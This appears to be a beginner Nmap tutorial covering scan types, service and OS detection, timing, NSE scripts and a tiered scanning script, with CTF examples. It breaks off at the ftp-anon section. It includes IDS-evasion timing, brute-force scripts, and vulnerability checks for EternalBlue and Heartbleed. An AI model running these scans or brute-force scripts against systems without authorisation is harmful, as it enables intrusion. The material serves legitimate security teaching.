kavklaw@llm ~ /guides/nmap

kavklaw@llm $ cat nmap-guide.md

Nmap β€” The Art of Reconnaissance

🟒 Beginner

⏱️ 25 min read · Master network scanning from first principles to advanced NSE scripting

⚑ Quick Start

Don't have time for the full guide? Here's the 90-second version. These three commands will cover 90% of your scanning needs:

The idea is: first scan all 65,535 ports quickly (-p-) to find what's open, then run a slower, deeper scan only on those ports. The --min-rate 5000 flag tells Nmap to try to maintain at least 5,000 packets per second (actual rate may vary based on network conditions), and -T4 sets aggressive timing. The -sC flag runs default scripts and -sV detects service versions. The -oN flag saves results to a file.

# Step 1: Fast port discovery β€” find ALL open ports quickly
sudo nmap -p- --min-rate 5000 -T4 10.10.10.100 -oN allports.txt

# Step 2: Deep scan only on the open ports you found
sudo nmap -p 22,80,443,8080 -sC -sV -oN detailed.txt 10.10.10.100

# Step 3: Targeted NSE scripts for interesting services
sudo nmap -p 80 --script=http-enum,http-headers 10.10.10.100
sudo nmap -p 445 --script=smb-vuln* 10.10.10.100

That's the tiered approach. Fast sweep first, then deep dive on what matters. Now let's understand why this works and what every flag does.

🌐 What Is Nmap?

Nmap (Network Mapper) is the single most important tool in a pentester's (penetration tester's) toolkit. Created by Gordon "Fyodor" Lyon in 1997, it's an open-source utility for network discovery and security auditing. At its core, nmap sends specially crafted packets to target hosts and analyzes the responses to determine:

  • What hosts are alive on a network
  • What ports are open on those hosts
  • What services are running on those ports
  • What operating system the target is running
  • What vulnerabilities might exist (via scripts)

Every pentest (penetration test, an authorized simulated attack), CTF (Capture The Flag, a hacking competition), or bug bounty starts with reconnaissance (gathering information about your target), and nmap is how you do it. Think of it as the "eyes" of your operation. Before you can exploit anything, you need to know what's there.

Nmap works by exploiting how TCP/IP networking operates. When you send a SYN packet (a TCP connection request) to a port, the response tells you whether the port is open (SYN-ACK), closed (RST), or filtered (no response / ICMP unreachable). Nmap automates this process across thousands of ports and adds intelligence on top: version detection, OS fingerprinting (identifying the operating system by analyzing network behavior), and scriptable probes.

Installation

Nmap comes pre-installed on Kali Linux and Parrot OS. For other systems:

# Debian/Ubuntu
sudo apt install nmap

# Fedora/RHEL
sudo dnf install nmap

# macOS (via Homebrew)
brew install nmap

# Verify installation
nmap --version

Root/sudo is required for SYN scans (-sS), UDP scans (-sU), and OS detection (-O) because they need raw socket access. TCP connect scans (-sT) work without root. In CTFs, you'll almost always run nmap with sudo.

πŸ” Host Discovery

Before scanning ports, nmap needs to know which hosts are alive. By default, nmap performs host discovery before port scanning. If a host doesn't respond to discovery probes, nmap skips it entirely.

Discovery Methods

Here are the different ways you can check which machines are alive on a network. Each method works at a different network layer, so combining them gives you the best results:

# Ping sweep β€” find live hosts on a subnet (no port scan)
nmap -sn 10.10.10.0/24

# ARP discovery β€” works on local network (Layer 2)
# Nmap uses this automatically when scanning local subnets
nmap -sn 192.168.1.0/24

# Skip host discovery β€” scan even if host appears "down"
# Essential for CTFs where ICMP is often blocked
nmap -Pn 10.10.10.100

# TCP SYN discovery on specific ports
nmap -PS22,80,443 10.10.10.100

# TCP ACK discovery
nmap -PA80,443 10.10.10.100

# UDP discovery
nmap -PU53,161 10.10.10.100

# ICMP echo (traditional ping)
nmap -PE 10.10.10.0/24

# Combine methods for best results
nmap -PE -PS22,80,443 -PA80 -PU53 10.10.10.0/24
πŸ’‘ Pro Tip: In CTFs and HTB (Hack The Box, a popular practice platform), always use -Pn. Some boxes block host discovery probes. Nmap uses TCP probes too (not just ICMP), but -Pn skips discovery entirely to guarantee scanning. You'll sit there wondering why nothing shows up.

When to Use -sn vs -Pn

-sn means "ping scan only, no port scan" β€” use it when you want to discover live hosts on a network. -Pn means "skip ping, go straight to port scanning" β€” use it when you know the target is alive but ICMP might be blocked.

  • Network sweep: nmap -sn 10.10.10.0/24 β†’ "Who's alive?"
  • Single target CTF: nmap -Pn 10.10.10.100 β†’ "Scan this box even if it doesn't ping"

🎯 Scan Types

Before diving into scan types, it helps to understand the two transport protocols you'll be scanning. TCP (Transmission Control Protocol) is connection-oriented β€” before any data flows, two machines perform a "three-way handshake" (SYN β†’ SYN-ACK β†’ ACK) to establish a reliable channel. This handshake is exactly what nmap exploits to determine port states. UDP (User Datagram Protocol) is connectionless β€” it just fires packets with no handshake, no guaranteed delivery, no built-in acknowledgment. This makes UDP faster but also makes scanning it much harder, because silence could mean "open" or "filtered." Most services you'll attack (HTTP, SSH, SMB) use TCP, but critical services like DNS, SNMP, and DHCP use UDP β€” so you need to scan both.

Nmap supports multiple scan types, each using different TCP flag combinations. Understanding these is fundamental. It's not just about memorizing flags, it's about understanding why each technique exists.

SYN Scan (-sS) β€” The Default

Also called "half-open" or "stealth" scan. This is Nmap's default when raw-packet privileges are available (otherwise it falls back to TCP connect scan). It sends a SYN packet and waits for the response:

  • SYN-ACK β†’ Port is open (service is listening)
  • RST β†’ Port is closed (nothing listening)
  • No response / ICMP unreachable β†’ Port is filtered (firewall)
# SYN scan (requires root for raw socket access)
sudo nmap -sS 10.10.10.100

What happens under the hood:

  OPEN PORT:                         CLOSED PORT:
  Attacker ──SYN──→ Target :80       Attacker ──SYN──→ Target :81
  Attacker ←SYN-ACK── Target         Attacker ←──RST── Target
  Attacker ──RST──→ Target           (Port CLOSED)
  (Never completes handshake)

  FILTERED PORT:
  Attacker ──SYN──→ Target :82
  Attacker    ...    (no response / ICMP unreachable)
  (Firewall blocking)

Why "stealth"? Because the TCP handshake never completes, some older logging systems don't record the connection. Modern IDS/IPS (Intrusion Detection/Prevention Systems β€” software that monitors network traffic and blocks suspicious activity) absolutely detect SYN scans, but the name stuck.

TCP Connect Scan (-sT) β€” No Root Required

Uses the OS's connect() system call to complete the full TCP handshake. Slower and noisier than SYN, but doesn't need root privileges.

# TCP connect scan (works without root)
nmap -sT 10.10.10.100

# Full handshake: SYN β†’ SYN-ACK β†’ ACK β†’ (connection established, then closed)
# This creates a real connection, so it WILL appear in logs

Use this when you can't run as root, or when scanning through certain proxies (like SOCKS) that require full connections.

UDP Scan (-sU) β€” The Forgotten Protocol

UDP scanning is slow but critical. Many important services run on UDP: DNS (53), SNMP (161/162), TFTP (69), NTP (123), and DHCP (67/68).

# UDP scan (very slow β€” UDP has no handshake)
sudo nmap -sU 10.10.10.100

# Speed it up by scanning only common UDP ports
sudo nmap -sU --top-ports 20 10.10.10.100

# Combine TCP and UDP in one scan
sudo nmap -sS -sU --top-ports 100 10.10.10.100

UDP scanning is slow because there's no handshake. When a UDP port is open, the service may or may not respond. When it's closed, the target sends an ICMP "port unreachable" message. When it's filtered, there's no response at all, making open and filtered hard to distinguish.

πŸ’‘ Pro Tip: Always scan at least the top 20 UDP ports. SNMP (161) with a default community string of "public" is a goldmine for information leakage. DNS (53) might allow zone transfers. Don't skip UDP!

ACK Scan (-sA) β€” Firewall Mapping

ACK scans don't determine if ports are open. They map firewall rules. An ACK packet sent to an unfiltered port will get a RST back (whether open or closed). A filtered port will drop the packet or send ICMP unreachable.

# ACK scan β€” maps firewall rules, not port states
sudo nmap -sA 10.10.10.100

# Use case: "Are any ports getting through the firewall?"
# RST response = unfiltered (firewall allows traffic through)
# No response = filtered (firewall is blocking)

FIN, Xmas, and Null Scans

These "stealthy" scans exploit RFC 793 (the official TCP specification): if a closed port receives a packet without SYN, RST, or ACK flags set, it should respond with RST. An open port typically drops the packet silently (result shown as open|filtered, not definitively open).

# FIN scan β€” sends packet with only FIN flag
sudo nmap -sF 10.10.10.100

# Xmas scan β€” FIN + PSH + URG flags (lit up like a Christmas tree)
sudo nmap -sX 10.10.10.100

# Null scan β€” no flags set at all
sudo nmap -sN 10.10.10.100

These are rarely useful in modern environments because most firewalls and OSes handle these correctly now. They can sometimes bypass very old stateless firewalls that only filter SYN packets. Windows systems don't follow RFC 793 for these, so they'll show all ports as closed regardless.

🧠 Knowledge Check β€” Scan Types & Host Discovery
What does the -Pn flag do in nmap?
-Pn tells nmap to skip the ping/host discovery phase and treat the target as alive. This is essential in CTFs where ICMP is often blocked β€” without it, nmap may think the host is down and skip scanning entirely. Don't confuse it with -sn, which does the opposite (ping scan only, no port scan).
In a SYN scan (-sS), what response indicates a port is open?
When nmap sends a SYN to an open port, the service responds with SYN-ACK (the second step of the TCP handshake). Nmap then sends RST to close the connection without completing the handshake β€” that's why it's called a "half-open" scan. A RST response means the port is closed, and no response or ICMP unreachable means it's filtered.
Complete this nmap command to perform a UDP scan of only the top 20 most common UDP ports:
-sU specifies a UDP scan (not -sT, which is TCP Connect). --top-ports 20 scans the 20 most commonly open UDP ports from nmap's database β€” not ports 1-20 sequentially. UDP scans require root/sudo because they need raw socket access. Key UDP services to watch for: DNS (53), SNMP (161), TFTP (69), NTP (123).

πŸ”’ Port Specification

A quick refresher: a port is like a numbered door on a server. Each network service (SSH, web server, database, etc.) listens on a specific port number (0-65535). For example, web servers typically use port 80 (HTTP) or 443 (HTTPS), and SSH uses port 22. By default, nmap scans the top 1,000 most common ports. That's fine for a quick check, but real pentesting requires more thorough scanning.

# Scan specific ports
nmap -p 22,80,443 10.10.10.100

# Scan a range
nmap -p 1-1000 10.10.10.100

# Scan ALL 65,535 ports
nmap -p- 10.10.10.100

# Top N ports (by frequency in nmap's database)
nmap --top-ports 100 10.10.10.100
nmap --top-ports 1000 10.10.10.100

# Scan specific TCP and UDP ports
nmap -p T:80,443,U:53,161 10.10.10.100

# Exclude specific ports
nmap -p- --exclude-ports 25,110 10.10.10.100
πŸ’‘ Pro Tip: Always do a full -p- scan at some point during your recon. Services love hiding on non-standard ports. That web app on port 49152? You'll miss it with the default top-1000 scan. Pair -p- with --min-rate 5000 to keep it fast.

πŸ”¬ Service & Version Detection

When a service starts on a port, it often announces itself with a service banner β€” a text string the server sends when you first connect, like SSH-2.0-OpenSSH_8.2p1 or the HTTP Server: Apache/2.4.49 header. Banners tell you exactly what software and version is running, which is gold for attackers because every version has a specific set of known vulnerabilities. Version detection is the bridge between "there's something on port 80" and "there's a specific exploitable version of Apache on port 80."

Knowing that port 80 is open is useful. Knowing it's running Apache/2.4.49 is powerful, because that specific version has a path traversal RCE (Remote Code Execution). This is tracked as CVE-2021-41773 (CVEs are standardized IDs for known vulnerabilities).

# Version detection β€” probe services to identify them
nmap -sV 10.10.10.100

# Increase version detection intensity (0-9, default 7)
nmap -sV --version-intensity 9 10.10.10.100

# Light version detection (faster, less accurate)
nmap -sV --version-light 10.10.10.100

# Default scripts + version detection (most common combo)
nmap -sC -sV 10.10.10.100
# -sC is equivalent to --script=default

Understanding Version Output

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
|                          ↑ product  ↑ version    ↑ extra info
80/tcp   open  http        Apache httpd 2.4.49 ((Unix))
|                          ↑ this version = CVE-2021-41773!
443/tcp  open  ssl/http    nginx 1.18.0
|                          ↑ SSL-wrapped HTTP
3306/tcp open  mysql       MySQL 5.7.38
|                          ↑ specific DB version β†’ known exploits?
8080/tcp open  http-proxy  Squid http proxy 4.6
|                          ↑ proxy β†’ potential pivot point (a way to reach other internal machines)

Version detection works by sending specific probes and matching responses against nmap's nmap-service-probes database. It goes beyond simple banner grabbing β€” it sends protocol-specific requests to accurately identify services.

πŸ–₯️ OS Detection

Nmap can fingerprint the target's operating system by analyzing subtle differences in how TCP/IP stacks are implemented.

# OS detection (requires at least one open and one closed port)
sudo nmap -O 10.10.10.100

# Aggressive OS detection (makes nmap try harder)
sudo nmap -O --osscan-guess 10.10.10.100

# Limit OS detection retries
sudo nmap -O --max-os-tries 1 10.10.10.100

# The "aggressive" flag combines several options
sudo nmap -A 10.10.10.100
# -A = -O (OS detection) + -sV (version) + -sC (scripts) + --traceroute
⚠️ Common Mistake: -A is convenient but slow. It enables OS detection, version detection, default scripts, AND traceroute all at once. In CTFs, you're better off using targeted flags. Use -A for lazy scans on a single target; use the tiered approach for real work.

Reading OS Detection Output

Nmap guesses the kernel version range with a confidence percentage. CPE (Common Platform Enumeration) is a standardized naming scheme for platforms:

OS details: Linux 4.15 - 5.8 (96%)
OS CPE: cpe:/o:linux:linux_kernel:4.15

Aggressive OS guesses:
  Linux 5.4 (96%)
  Linux 4.15 - 5.6 (95%)
  Linux 5.0 - 5.4 (93%)

⏱️ Timing Templates

Timing templates control how fast nmap sends packets. They range from -T0 (paranoid) to -T5 (insane). Choosing the right template balances speed against accuracy and stealth.

TemplateNameUse CasePacket Delay
-T0ParanoidIDS evasion (real engagements)5 minutes between probes
-T1SneakyIDS evasion (slightly faster)15 seconds between probes
-T2PoliteReduce network load0.4 seconds between probes
-T3NormalDefault β€” balancedDynamic
-T4AggressiveCTFs, fast local networks10ms max delay
-T5InsaneFast scans, may miss ports5ms max delay
# CTF/HTB scanning β€” speed over stealth
sudo nmap -T4 -p- 10.10.10.100

# Real-world engagement β€” balance
sudo nmap -T3 -sS 10.10.10.0/24

# Stealthy scan β€” avoid IDS
sudo nmap -T1 -sS 10.10.10.100

# Insane speed (may miss some ports)
sudo nmap -T5 -p- 10.10.10.100
πŸ’‘ Pro Tip: For CTFs, -T4 is your default. -T5 can miss ports β€” use it only when rescanning to verify results. In real engagements, -T3 with custom timing (--min-rate, --max-retries) gives you better control than any template.
🧠 Knowledge Check β€” Service Detection & Timing
Complete this command to run default scripts and version detection on specific ports:
-sC runs the default NSE scripts (equivalent to --script=default) and -sV enables version detection. Together they form the most common deep-scan combo. -A is too aggressive β€” it adds OS detection and traceroute unnecessarily. --script=all runs every script including dangerous ones like DoS and exploit scripts.
Which timing template should you use for CTF/HTB scanning where speed is more important than stealth?
-T4 (Aggressive) is the go-to for CTFs β€” it sets a max delay of 10ms between probes, giving you fast results on reliable networks. -T5 (Insane) can actually miss ports due to dropped packets. -T0 and -T1 are for IDS evasion in real engagements, with delays of 5 minutes and 15 seconds between probes respectively.

πŸ“œ NSE Scripting Engine

The Nmap Scripting Engine (NSE) is what transforms nmap from a port scanner into a full reconnaissance and vulnerability assessment tool. NSE scripts are written in Lua (a lightweight programming language) and cover everything from banner grabbing to full exploit execution.

Script Categories

Don't worry if this list looks overwhelming. You'll mostly use default, vuln, and a handful of specific scripts. The rest are there when you need them.

  • auth β€” Authentication testing (default creds, brute force)
  • broadcast β€” Discover hosts via broadcast queries
  • brute β€” Brute force attacks on services
  • default β€” Safe, useful scripts that run with -sC
  • discovery β€” Information gathering
  • dos β€” Denial of service (use with caution!)
  • exploit β€” Actual exploitation attempts
  • external β€” Scripts that query external services (WHOIS, etc.)
  • fuzzer β€” Send unexpected data to find bugs
  • intrusive β€” Might crash the target
  • malware β€” Check for malware infection
  • safe β€” Won't crash anything
  • version β€” Enhanced version detection
  • vuln β€” Vulnerability detection
# Run default scripts (safe + useful)
nmap -sC 10.10.10.100
# Same as:
nmap --script=default 10.10.10.100

# Run scripts by category
nmap --script=vuln 10.10.10.100
nmap --script=safe,discovery 10.10.10.100

# Run specific scripts
nmap --script=http-enum 10.10.10.100
nmap --script=smb-vuln-ms17-010 10.10.10.100

# Wildcard matching
nmap --script=http-* 10.10.10.100
nmap --script=smb-vuln* 10.10.10.100

# Combine category + specific
nmap --script=default,http-enum,smb-vuln* 10.10.10.100

# Pass arguments to scripts
nmap --script=http-enum --script-args http-enum.basepath=/api/ 10.10.10.100

# List all available scripts
ls /usr/share/nmap/scripts/ | head -20
# Or search for scripts
ls /usr/share/nmap/scripts/ | grep smb

Must-Know NSE Scripts

Web Enumeration

# http-enum β€” discovers common web paths (like a mini gobuster)
nmap -p 80 --script=http-enum 10.10.10.100

# http-headers β€” shows response headers
nmap -p 80 --script=http-headers 10.10.10.100

# http-methods β€” checks allowed HTTP methods (PUT, DELETE, etc.)
nmap -p 80 --script=http-methods 10.10.10.100

# http-title β€” grabs page title (quick way to see what's there)
nmap -p 80,443,8080 --script=http-title 10.10.10.100

# http-robots.txt β€” reads robots.txt
nmap -p 80 --script=http-robots.txt 10.10.10.100

# http-shellshock β€” tests for Shellshock vulnerability
nmap -p 80 --script=http-shellshock --script-args uri=/cgi-bin/test.cgi 10.10.10.100

SMB Scripts

# smb-enum-shares β€” list shared folders
nmap -p 445 --script=smb-enum-shares 10.10.10.100

# smb-enum-users β€” enumerate domain users
nmap -p 445 --script=smb-enum-users 10.10.10.100

# smb-vuln* β€” check for EternalBlue, MS08-067, etc.
nmap -p 445 --script=smb-vuln* 10.10.10.100

# Specific EternalBlue check
nmap -p 445 --script=smb-vuln-ms17-010 10.10.10.100

# smb-os-discovery β€” OS info via SMB
nmap -p 445 --script=smb-os-discovery 10.10.10.100

SSL/TLS Scripts

# ssl-enum-ciphers β€” check cipher suites and grade them
nmap -p 443 --script=ssl-enum-ciphers 10.10.10.100

# ssl-cert β€” extract SSL certificate details
nmap -p 443 --script=ssl-cert 10.10.10.100
# Great for finding hostnames and subdomains!

# ssl-heartbleed β€” test for Heartbleed
nmap -p 443 --script=ssl-heartbleed 10.10.10.100

Other Useful Scripts

# dns-brute β€” brute force subdomains
nmap --script=dns-brute target.htb

# ftp-anon β€” check for anonymous FTP access
nmap -p 21 --script=ftp-anon 10.10.10.100

# mysql-empty-password β€” check for empty root password
nmap -p 3306 --script=mysql-empty-password 10.10.10.100

# snmp-brute β€” brute force SNMP community strings
nmap -p 161 -sU --script=snmp-brute 10.10.10.100

# vulners β€” cross-reference versions with vulnerability database
nmap -sV --script=vulners 10.10.10.100

πŸ“ Output Formats

Always save your scan results. You'll refer back to them constantly, and re-scanning wastes time.

# Normal output (human-readable)
nmap -oN scan.txt 10.10.10.100

# Grepable output (easy to parse with grep/awk/cut)
nmap -oG scan.gnmap 10.10.10.100

# XML output (for importing into tools like Metasploit)
nmap -oX scan.xml 10.10.10.100

# All three formats at once
nmap -oA scan 10.10.10.100
# Creates: scan.nmap, scan.gnmap, scan.xml

# Append to existing file (doesn't work with -oA)
nmap --append-output -oN scan.txt 10.10.10.100

Working with Grepable Output

# Extract only open ports from grepable output
grep "open" scan.gnmap

# Get a comma-separated list of open ports (perfect for -p flag)
grep -oP '\d+/open' scan.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//'
# Output: 22,80,443,3306,8080

# Find all hosts with port 80 open
grep "80/open" scan.gnmap | cut -d' ' -f2

# Count open ports per host
grep "Ports:" scan.gnmap | while read line; do
  host=$(echo $line | cut -d' ' -f2)
  ports=$(echo $line | grep -oP '\d+/open' | wc -l)
  echo "$host: $ports open ports"
done
πŸ’‘ Pro Tip: Always use -oA. It costs nothing extra and gives you all three formats. The grepable output is invaluable for scripting, and the XML can be imported into Metasploit with db_import scan.xml.

πŸš€ Performance Tuning

Timing templates are just presets. For real control over scan speed, use these flags:

# Minimum packet sending rate (packets per second)
nmap --min-rate 5000 -p- 10.10.10.100
# Sends at least 5000 packets/sec β€” fast full port scan

# Maximum retries per port (default: 10)
nmap --max-retries 2 -p- 10.10.10.100
# Fewer retries = faster but might miss filtered ports

# Host timeout β€” skip slow hosts
nmap --host-timeout 5m 10.10.10.0/24

# Maximum RTT timeout
nmap --max-rtt-timeout 100ms -p- 10.10.10.100

# Minimum parallelism (probe multiple ports simultaneously)
nmap --min-parallelism 100 -p- 10.10.10.100

# Combine for ultimate speed
sudo nmap -p- --min-rate 10000 --max-retries 1 -T4 10.10.10.100

# For slow/unreliable networks, be gentler
sudo nmap -p- --max-rate 500 --max-retries 3 -T3 10.10.10.100

The Speed vs Accuracy Tradeoff

Faster scans miss ports. It's a fundamental tradeoff. A SYN packet sent at 10,000 pps might arrive when the target's network stack is busy, get dropped, and nmap marks the port as closed/filtered. Mitigation strategies:

  • Run fast scans first, then verify with targeted rescans
  • Use --max-retries 2 instead of --max-retries 0
  • Compare results from multiple scan runs
  • If a service "should" be there (based on context), scan that port individually with -T3

🎯 Real-World Methodology

Here's the exact scanning methodology I use on every engagement. It's a tiered approach that balances speed with thoroughness.

  Tier 1: FAST DISCOVERY ──→ nmap -p- --min-rate 5000
          (~2 min)            Find ALL open ports
               β”‚
               β–Ό
  Tier 2: DEEP SCAN ──────→ nmap -p PORTS -sC -sV
          (~5-10 min)         Version + default scripts
               β”‚
               β–Ό
  Tier 3: TARGETED SCRIPTS β†’ nmap --script=http-enum,smb-vuln*
          (as needed)         Service-specific enumeration
               β”‚
               β–Ό
  Tier 4: UDP SCAN ────────→ nmap -sU --top-ports 50
          (background)        Don't forget UDP!

Tier 1 β€” Quick Discovery (2 minutes)

# Find all open TCP ports as fast as possible
sudo nmap -p- --min-rate 5000 -T4 $TARGET -oA nmap/allports

# Extract open ports into a variable
PORTS=$(grep -oP '\d+/open' nmap/allports.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
echo "Open ports: $PORTS"

Tier 2 β€” Service Enumeration (5-10 minutes)

# Deep scan only open ports
sudo nmap -p $PORTS -sC -sV -oA nmap/detailed $TARGET

# OS detection if needed
sudo nmap -p $PORTS -O -oA nmap/os $TARGET

Tier 3 β€” Targeted Scripts (as needed)

# Web services
sudo nmap -p 80,443 --script=http-enum,http-headers,http-methods,http-title $TARGET

# SMB
sudo nmap -p 445 --script=smb-enum-shares,smb-enum-users,smb-vuln*,smb-os-discovery $TARGET

# Vulnerability sweep
sudo nmap -p $PORTS --script=vuln $TARGET -oA nmap/vulns

Tier 4 β€” UDP (background)

# Top UDP ports (run in background β€” takes a while)
sudo nmap -sU --top-ports 50 -T4 $TARGET -oA nmap/udp &

Automation Script

Here's a bash script that automates the entire tiered approach:

#!/bin/bash
# tiered-scan.sh β€” Automated tiered nmap scanning
TARGET=$1
OUTDIR="nmap"

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target>"
    exit 1
fi

mkdir -p $OUTDIR

echo "[*] Tier 1: Quick port discovery..."
sudo nmap -p- --min-rate 5000 -T4 $TARGET -oA $OUTDIR/allports 2>/dev/null

PORTS=$(grep -oP '\d+/open' $OUTDIR/allports.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')

if [ -z "$PORTS" ]; then
    echo "[-] No open ports found!"
    exit 1
fi

echo "[+] Open ports: $PORTS"

echo "[*] Tier 2: Service enumeration..."
sudo nmap -p $PORTS -sC -sV -oA $OUTDIR/detailed $TARGET

echo "[*] Tier 3: Vulnerability scripts..."
sudo nmap -p $PORTS --script=vuln -oA $OUTDIR/vulns $TARGET 2>/dev/null

echo "[*] Tier 4: UDP scan (background)..."
sudo nmap -sU --top-ports 50 -T4 $TARGET -oA $OUTDIR/udp &

echo "[+] TCP scanning complete! UDP scan running in background."
echo "[+] Results saved to $OUTDIR/"

πŸ† CTF Examples

Here are real scenarios from CTF challenges that demonstrate nmap techniques:

Example 1: Hidden Web Service

# Default top-1000 scan shows only SSH and HTTP
nmap 10.10.10.100
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http

# Full port scan reveals a hidden service!
nmap -p- --min-rate 5000 10.10.10.100
# PORT      STATE SERVICE
# 22/tcp    open  ssh
# 80/tcp    open  http
# 50000/tcp open  ibm-db2    ← WHAT IS THIS?

# Deep scan the new port
nmap -p 50000 -sC -sV 10.10.10.100
# 50000/tcp open  http  Jetty 9.4.39
# ↑ It's a Jenkins instance! Default creds? Script console? RCE incoming.

Example 2: SMB Vuln Discovery

# Service scan reveals old Windows + SMB
nmap -sV 10.10.10.40
# 445/tcp open  microsoft-ds Windows 7 Professional 7601 SP1

# That Windows 7 version β†’ check EternalBlue
nmap -p 445 --script=smb-vuln-ms17-010 10.10.10.40
# | smb-vuln-ms17-010:
# |   VULNERABLE:
# |   Remote Code Execution vulnerability in Microsoft SMBv1 servers
# ↑ JACKPOT β€” EternalBlue β†’ SYSTEM shell

Example 3: SSL Certificate Hostname

# SSL cert reveals additional hostnames
nmap -p 443 --script=ssl-cert 10.10.10.100
# | ssl-cert: Subject: commonName=target.htb
# | Subject Alternative Name: DNS:admin.target.htb, DNS:dev.target.htb
# ↑ Found virtual hosts! Add to /etc/hosts and enumerate

⚠️ Common Mistakes

❌ Mistake #1: Only scanning top 1000 ports.
The default scan misses 64,535 ports. Always do a -p- scan. That web shell on port 49152, that database on port 27017, that custom service on port 31337 β€” all invisible with default scanning.
❌ Mistake #2: Forgetting -Pn in CTFs.
Many CTF boxes block ICMP. Without -Pn, nmap thinks the host is down and returns nothing. You'll waste 30 minutes troubleshooting your VPN connection when the fix is one flag.
❌ Mistake #3: Running a single massive scan.
nmap -A -p- -T4 target tries to do everything at once and takes forever. Use the tiered approach: fast discovery first, then targeted deep scans on what matters.
❌ Mistake #4: Not saving output.
You will need to reference your scan results later. Always use -oA to save in all formats. Create a dedicated nmap/ directory for each target.
❌ Mistake #5: Skipping UDP.
UDP scans are slow, but SNMP, DNS, NTP, and TFTP can be goldmines. At minimum, scan --top-ports 20 on UDP.
❌ Mistake #6: Ignoring version numbers.
OpenSSH 7.2p2 has user enumeration. Apache 2.4.49 has path traversal RCE. ProFTPd 1.3.5 has mod_copy abuse. Versions matter β€” always use -sV and search every version for CVEs.
❌ Mistake #7: Not using scripts.
NSE scripts automate tedious enumeration. http-enum finds hidden paths, smb-vuln* finds EternalBlue, ssl-cert reveals hostnames. Learn the top 10 scripts and use them.

πŸ”¬ NSE Script Deep Dive

We covered the basics of NSE above, but let's go much deeper. These 15+ scripts are the ones you'll reach for again and again in real engagements and CTFs. For each one, we'll cover what it does, when to use it, and exactly what the output means.

http-enum β€” Web Directory Discovery

http-enum is like a lightweight Gobuster built into nmap. It probes for common web paths (admin panels, backup files, CMS install directories, known application fingerprints) using a built-in database of ~2,000 signatures.

# Basic usage
nmap -p 80 --script=http-enum 10.10.10.100

# Scan a non-standard port with a basepath
nmap -p 8080 --script=http-enum --script-args http-enum.basepath=/api/ 10.10.10.100

# Use a custom fingerprint file
nmap -p 80 --script=http-enum --script-args http-enum.fingerprintfile=./custom-fps.txt 10.10.10.100

# Example output:
# PORT   STATE SERVICE
# 80/tcp open  http
# | http-enum:
# |   /admin/: Possible admin folder
# |   /phpmyadmin/: phpMyAdmin
# |   /robots.txt: Robots file
# |   /icons/: Potentially interesting directory
# |   /.git/HEAD: Git folder (source code leak!)
# |_  /backup/: Backup directory

The .git/HEAD finding is gold β€” you can often reconstruct the entire source code with git-dumper. Always run http-enum before reaching for heavier tools.

http-title β€” Quick Page Identification

Grabs the <title> tag from web pages. Sounds simple, but it's incredibly useful when scanning many ports or hosts β€” you instantly know what's running where.

# Scan multiple ports at once
nmap -p 80,443,8080,8443,8000,9090 --script=http-title 10.10.10.100

# Example output:
# PORT     STATE SERVICE
# 80/tcp   open  http
# |_http-title: Apache2 Ubuntu Default Page
# 8080/tcp open  http-proxy
# |_http-title: Jenkins [Jenkins]
# 9090/tcp open  zeus-admin
# |_http-title: Cockpit
# ↑ Found Jenkins and Cockpit management panel!

smb-enum-shares β€” SMB Share Discovery

Lists all SMB shares on a target, including permissions. This is one of the first things to run when you see port 445 open.

# Basic enumeration (may work with null session)
nmap -p 445 --script=smb-enum-shares 10.10.10.100

# With credentials for better results
nmap -p 445 --script=smb-enum-shares --script-args smbusername=user,smbpassword=pass 10.10.10.100

# Example output:
# |   \\10.10.10.100\ADMIN$:
# |     Type: STYPE_DISKTREE_HIDDEN
# |     Access: Denied
# |   \\10.10.10.100\backup:
# |     Type: STYPE_DISKTREE
# |     Access: READ
# |     Comment: Backup files
# |   \\10.10.10.100\C$:
# |     Type: STYPE_DISKTREE_HIDDEN
# |     Access: Denied
# ↑ The "backup" share with READ access is your target

smb-os-discovery β€” OS Identification via SMB

Extracts operating system information, domain name, computer name, and forest name from SMB. More reliable than nmap's TCP-based OS fingerprinting for Windows targets.

nmap -p 445 --script=smb-os-discovery 10.10.10.100

# Example output:
# | smb-os-discovery:
# |   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
# |   Computer name: DC01
# |   NetBIOS computer name: DC01\x00
# |   Domain name: corp.htb
# |   Forest name: corp.htb
# |   FQDN: DC01.corp.htb
# ↑ This tells you: it's a Domain Controller for corp.htb

vuln Category β€” Vulnerability Scanning

The vuln category runs all vulnerability-detection scripts. It checks for dozens of known CVEs β€” EternalBlue, Heartbleed, shellshock, and many more.

# Run all vuln scripts against discovered ports
nmap -p 22,80,443,445 --script=vuln 10.10.10.100

# Target specific vulnerability families
nmap -p 445 --script=smb-vuln* 10.10.10.100
nmap -p 80 --script=http-vuln* 10.10.10.100

# The vuln category is noisy and slow, but thorough.
# In CTFs, run it in the background while you enumerate manually.

ssl-heartbleed β€” Heartbleed Detection (CVE-2014-0160)

Tests for the Heartbleed bug in OpenSSL. While it's an old vulnerability, it still appears in CTFs and legacy systems.

nmap -p 443 --script=ssl-heartbleed 10.10.10.100

# Vulnerable output:
# | ssl-heartbleed:
# |   VULNERABLE:
# |   The Heartbleed Bug is a serious vulnerability in OpenSSL
# |     State: VULNERABLE
# |     Risk factor: High
# |     Description:
# |       Allows reading memory of systems protected by vulnerable OpenSSL

# If vulnerable, you can leak memory (credentials, session keys, private keys)
# Use the Metasploit module: auxiliary/scanner/ssl/openssl_heartbleed

dns-brute β€” Subdomain Enumeration

Brute-forces subdomains using a built-in wordlist. Useful when you have a domain name but need to discover virtual hosts or subdomains.

# Basic subdomain brute force
nmap --script=dns-brute target.htb

# With a custom wordlist
nmap --script=dns-brute --script-args dns-brute.hostlist=./subdomains.txt target.htb

# Increase threads for speed
nmap --script=dns-brute --script-args dns-brute.threads=10 target.htb

# Example output:
# | dns-brute:
# |   DNS Brute-force hostnames:
# |     admin.target.htb β€” 10.10.10.100
# |     dev.target.htb β€” 10.10.10.100
# |     mail.target.htb β€” 10.10.10.101
# |     vpn.target.htb β€” 10.10.10.102
# ↑ Add these to /etc/hosts and enumerate each one

ftp-anon β€” Anonymous FTP Check

